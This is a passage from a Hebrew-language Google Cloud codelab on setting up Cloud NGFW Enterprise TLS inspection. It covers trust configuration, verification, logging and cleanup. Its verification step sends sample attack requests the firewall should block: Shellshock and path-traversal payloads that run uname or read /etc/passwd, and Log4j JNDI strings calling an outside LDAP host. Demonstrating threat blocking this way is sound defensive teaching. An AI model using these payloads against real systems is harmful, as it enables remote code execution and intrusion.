מגדירים את קובץ ה-YAML של הגדרות האמון. הקובץ הזה מכיל פרטי מהימנות כמו אישורי CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

הפקודות שלמעלה כללו את אישור ה-CA הבסיסי שלכם כחלק ממאגר האישורים המהימנים, כי אישור השרת שלכם נחתם באמצעות ה-CA הבסיסי. כלומר, חומת האש תיתן אמון בכל האישורים שהיא מקבלת שחתומים על ידי רשות האישורים הבסיסית שלכם – בנוסף לרשויות האישורים הציבוריות אם המדיניות שלכם לגבי TLS כוללת את הערך false בפרמטר excludePublicCaSet.

בודקים את התוכן של הגדרות האמון.

cat trust_config.yaml

פלט לדוגמה:

חשוב לשים לב ליישור הכניסה של האישור. הפורמט חייב להיות בדיוק כמו שמופיע כאן.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

מייבאים את הגדרות האמון:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

מעדכנים את קובץ ה-YAML של מדיניות ה-TLS כדי לכלול את הגדרת האמון:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

מייבאים את מדיניות ה-TLS המעודכנת:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. אימות של בדיקת TLS של תעבורה מזרח-מערב

מתחברים שוב ללקוח באמצעות SSH כדי לבדוק את התנועה בין אזורי הזמינות עם הגדרת האמון המעודכנת:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את בקשת ה-TLS לדוגמה לשרת:

curl https://$target_privateip --max-time 2

אם עדיין מופיע הפלט שלמטה, צריך להמתין עד שהעדכונים יתעדכנו.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

הפלט אמור להיראות כך:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

שליחת תנועת בדיקה זדונית לשרת:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

לא מתקבלות תגובות בהתאם לפלט הצפוי שמוצג בהמשך, מה שמאשר שהמתקפות לדוגמה נחסמות עכשיו ב-E/W.

13. רישום ביומן

מנווטים אל Logging > Logs Explorer דרך מסוף Cloud, מזינים את המסנן שלמטה ומריצים שאילתה ביומנים. מחליפים את [PROJECT_ID] במזהה הפרויקט:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

רשומות ביומן של Cloud NGFW Enterprise אמורות להופיע באופן דומה לזה שמוצג בהמשך:

מרחיבים את הערכים ביומן ורואים שהמתקפות שנשלחו ממכונת ה-VM של הלקוח לשרת זוהו ונחסמו (Apache Log4j Remote Code Execution Vulnerability כמו בצילום המסך שלמטה).

הצלחתם לפרוס את Cloud NGFW Enterprise עם TLS Inspection כדי לחסום בקשות זדוניות.

בקטע הבא מפורטים השלבים לניקוי.

14. שלבי הניקוי

ניקוי של הגדרות בסיסיות

מסירים את המכונות:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

צריך לבצע את השלבים הבאים אם התפקידים tagAdmin ו-tagUsers שונו:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

מסירים את מפתח התג ואת הערכים:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

מסירים את מדיניות הרשת של חומת האש ב-Cloud ואת השיוך:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מוחקים את Cloud Router ואת Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מוחקים את כתובות ה-IP השמורות:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ניקוי של Cloud Firewall SPG,‏ Association ו-TLS

מוחקים את קבוצת פרופילי האבטחה ואת פרופיל האיומים בסדר הזה:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

מוחקים את השיוך של נקודת הקצה של Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

מוחקים את נקודת הקצה של Cloud Firewall. התהליך הזה יכול להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

אפשר גם להריץ את הפקודה הבאה כדי לוודא שנקודת הקצה של Cloud NGFW נמחקה:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הסטטוס של נקודת הקצה צריך להיות:

STATE: DELETING

כשההסרה תסתיים, נקודת הקצה לא תופיע יותר ברשימה.

מוחקים את מדיניות ה-TLS ואת הגדרות האמון בסדר הזה:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

משביתים ומוחקים את רשות האישורים הבסיסית ואת מאגר רשויות האישורים:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

ניקוי של רשת משנה ו-VPC

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. מעולה!

כל הכבוד, סיימתם בהצלחה את ה-Codelab בנושא Cloud NGFW Enterprise לבדיקת TLS של תנועה מזרח-מערבית וצפונה.